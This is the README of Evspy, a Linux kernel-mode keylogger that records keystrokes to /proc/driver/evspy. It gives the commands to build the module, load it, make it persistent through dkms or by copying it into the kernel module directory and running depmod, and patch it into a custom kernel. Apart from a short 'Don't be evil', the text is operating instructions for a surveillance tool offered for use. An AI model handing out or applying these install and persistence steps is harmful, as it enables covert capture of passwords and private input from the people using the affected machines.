Evspy

Evspy is a general purpose kernel-mode keylogger in (early) development stage.

The file from where you can read the registered keystrokes is /proc/driver/evspy by default. Only root can read it. Beware users: evspy can troll you.

Don't be evil.

Compile

$ make

Load

# insmod evspy.ko

Unload

# rmmod evspy

Is it already loaded?

$ modinfo evspy

Persistence

• With dkms:

    # make [install, uninstall]
  

• Manually: Copy it into your kernel module dir:

    # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko
  

  and update module database:

    # depmod -a
  

  (in some distros you could also need to add it to some rc/config file)

  Once it has been installed, you can load it when you want with

    # modprobe evspy
  

OTHER

A patch is supplied (evspy.patch) to be able to compile a kernel with evspy included. If KERN is the directory where your kernel is located, just copy the patch there (KERN/) and copy all the evspy files (*.c, *.h, maps, kmap) to KERN/drivers/input/. Then, cd to KERN and apply the patch:

$ patch -p1 < evspy.patch

Then you should be able to configure the kernel to include evspy just like any other module:

$ make menuconfig
    Device Drivers --> Input device support --> Event based keylogger
$ ...
